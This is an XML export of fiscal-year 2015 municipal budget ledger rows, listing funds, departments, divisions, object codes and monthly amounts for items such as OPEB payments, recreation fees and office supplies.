<row _id="17473"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522230.0</object><object_description>CREDIT CARD FEES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>153582</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>153582</total></row>
<row _id="17474"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511851.0</object><object_description>REIMBURSEMENT FROM OPEB TRUST</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-3818</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-3818</total></row>
<row _id="17475"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511850.0</object><object_description>OPEB PAYMENT ARC</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>9730</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>9730</total></row>
<row _id="17476"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511851.0</object><object_description>REIMBURSEMENT FROM OPEB TRUST</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-6536</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-6536</total></row>
<row _id="17477"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511850.0</object><object_description>OPEB PAYMENT ARC</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>35225</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>35225</total></row>
<row _id="17478"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>27026</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>27026</total></row>
<row _id="17479"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>408472.0</object><object_description>PEDICAB DRIVER PERMITS</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2015</fiscal_year><july>-2555</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-2555</total></row>
<row _id="17480"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511741.0</object><object_description>MEDICAL - POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>18189</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>18189</total></row>
<row _id="17481"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3660</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3660</total></row>
<row _id="17482"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511920.0</object><object_description>UNIFORM / TOOL ALLOWANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>600</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>600</total></row>
<row _id="17483"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>314</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>314</total></row>
<row _id="17484"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>13770</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>13770</total></row>
<row _id="17485"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>3330</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3330</total></row>
<row _id="17486"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>3130</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3130</total></row>
<row _id="17487"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>3511</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3511</total></row>
<row _id="17488"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>38855</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>38855</total></row>
<row _id="17489"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>26977</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>26977</total></row>
<row _id="17490"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>555218.0</object><object_description>COMMUNITY EMERGENCY RESP TEAM</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>24314</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>24314</total></row>
<row _id="17491"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2210</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2210</total></row>
<row _id="17492"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>511498.0</object><object_description>OT PARAMEDIC SCHOOL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17493"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401132.0</object><object_description>SOFTBALL LEAGUES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-89100</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-89100</total></row>
<row _id="17494"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>6800</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6800</total></row>
<row _id="17495"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>57910</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>57910</total></row>
<row _id="17496"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2400</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2400</total></row>
<row _id="17497"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17498"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>544145.0</object><object_description>SIDEWALK MATERIALS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>24105</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>24105</total></row>
<row _id="17499"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409007.0</object><object_description>CHILDCARE-MARCH</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-31617</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-31617</total></row>
<row _id="17500"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409010.0</object><object_description>CHILDCARE-JUNE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-13867</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-13867</total></row>
<row _id="17501"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409023.0</object><object_description>ENRICHMENT-SPRING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-94000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-94000</total></row>
<row _id="17502"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409041.0</object><object_description>ELEM SPORTS-FALL</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-64550</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-64550</total></row>
<row _id="17503"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409042.0</object><object_description>ELEM SPORTS-WINTER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-61102</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-61102</total></row>
<row _id="17504"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>11000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>11000</total></row>
<row _id="17505"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>552010.0</object><object_description>CUSTODIAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>13262</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>13262</total></row>
<row _id="17506"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>510000.0</object><object_description>SALARIES AND WAGES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17507"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>102360</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>102360</total></row>
<row _id="17508"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2579</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2579</total></row>
<row _id="17509"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>14372</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>14372</total></row>
<row _id="17510"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>19</fund_id><fund_name>CDBG Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>577723.0</object><object_description>CDBG - RESIDENTIAL REHAB PROG</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>300000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>300000</total></row>
<row _id="17511"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>579440.0</object><object_description>CIVIC PARKING BOND 2015DBT SVC</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2100000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2100000</total></row>
<row _id="17512"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>OPCC-CLOVERFIELD SVS CTR</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>351378</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>351378</total></row>
<row _id="17513"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2003</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2003</total></row>
<row _id="17514"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>544510.0</object><object_description>HSGP VILLAGE TRAILER PARK DA</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17515"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>579964.0</object><object_description>BBB-GEN FUND REIMB-HR</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>85882</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>85882</total></row>
<row _id="17516"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object xsi:nil="true" /><object_description>OPCC-CLOVERFIELD SVS CTR-PROP</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2900</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2900</total></row>
<row _id="17517"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>579013.0</object><object_description>DISCRET-WESTSIDE BALLET</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17518"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>FIRE STATION MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>70000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>70000</total></row>
<row _id="17519"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>570081.0</object><object_description>TRANSFER IN-WTR L-INCOME DISC</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>-20000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-20000</total></row>
<row _id="17520"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409061.0</object><object_description>SMSE-WINTER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-2355</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-2355</total></row>
<row _id="17521"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409063.0</object><object_description>SMSE-SUMMER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-39980</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-39980</total></row>
